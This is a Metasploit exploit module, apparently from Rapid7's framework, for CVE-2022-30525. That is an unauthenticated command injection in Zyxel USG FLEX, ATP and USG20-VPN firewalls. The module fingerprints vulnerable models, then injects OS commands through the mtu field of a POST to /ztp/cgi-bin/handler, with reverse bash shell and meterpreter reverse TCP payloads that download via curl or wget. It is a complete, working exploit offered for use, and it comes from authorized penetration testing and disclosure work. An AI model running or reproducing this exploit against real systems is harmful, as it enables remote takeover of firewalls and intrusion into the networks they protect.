Zyxel Firewall ZTP Unauthenticated Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection',  
'Description' => %q{  
This module exploits CVE-2022-30525, an unauthenticated remote  
command injection vulnerability affecting Zyxel firewalls with zero  
touch provisioning (ZTP) support. By sending a malicious setWanPortSt  
command containing an mtu field with a crafted OS command to the  
/ztp/cgi-bin/handler page, an attacker can gain remote command execution  
as the nobody user.  
  
Affected Zyxel models are:  
  
* USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below  
* USG20-VPN and USG20W-VPN using firmware 5.21 and below  
* ATP 100, 200, 500, 700, 800 using firmware 5.21 and below  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'jbaines-r7' # Vulnerability discovery and Metasploit module  
],  
'References' => [  
[ 'CVE', '2022-30525' ],  
[ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/']  
],  
'DisclosureDate' => '2022-04-28',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_MIPS64,],  
'Privileged' => false,  
'Targets' => [  
[  
'Shell Dropper',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_MIPS64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'curl', 'wget' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
# Checks the build date that is embedded in the landing page. If it finds a build  
# date older than April 20, 2022 then it will additionally check if the model is  
# a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this  
# seems like a reasonable approach.  
def check  
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))  
unless res  
return CheckCode::Unknown('The target failed to respond to check.')  
end  
  
unless res.code == 200  
return CheckCode::Safe('Failed to retrieve /')  
end  
  
ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]  
if ver.nil?  
return CheckCode::Safe('Could not extract a version number')  
end  
  
if ver[0..5].to_i < 220420  
model = res.get_html_document.xpath('//title').text  
if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))  
return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")  
end  
end  
  
CheckCode::Safe("This determination is based on the build date string: #{ver}.")  
end  
  
def execute_command(cmd, _opts = {})  
handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')  
print_status("Sending command to #{handler_uri}")  
  
# this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too  
# but it's more involved.  
http_payload = {  
'command' => 'setWanPortSt',  
'proto' => 'dhcp',  
'port' => Rex::Text.rand_text_numeric(4).to_s,  
'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s,  
'vlanid' => Rex::Text.rand_text_numeric(4).to_s,  
'mtu' => ";#{cmd};",  
'data' => ''  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => handler_uri,  
'headers' =>  
{  
'Content-Type' => 'application/json; charset=utf-8'  
},  
'data' => http_payload.to_json  
})  
# Successful exploitation can result in no response (connection being held open by a reverse shell)  
# or, if the command executes immediately, a response with a 503.  
if res && res.code != 503  
fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")  
end  
print_good('Command successfully executed.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
end  
`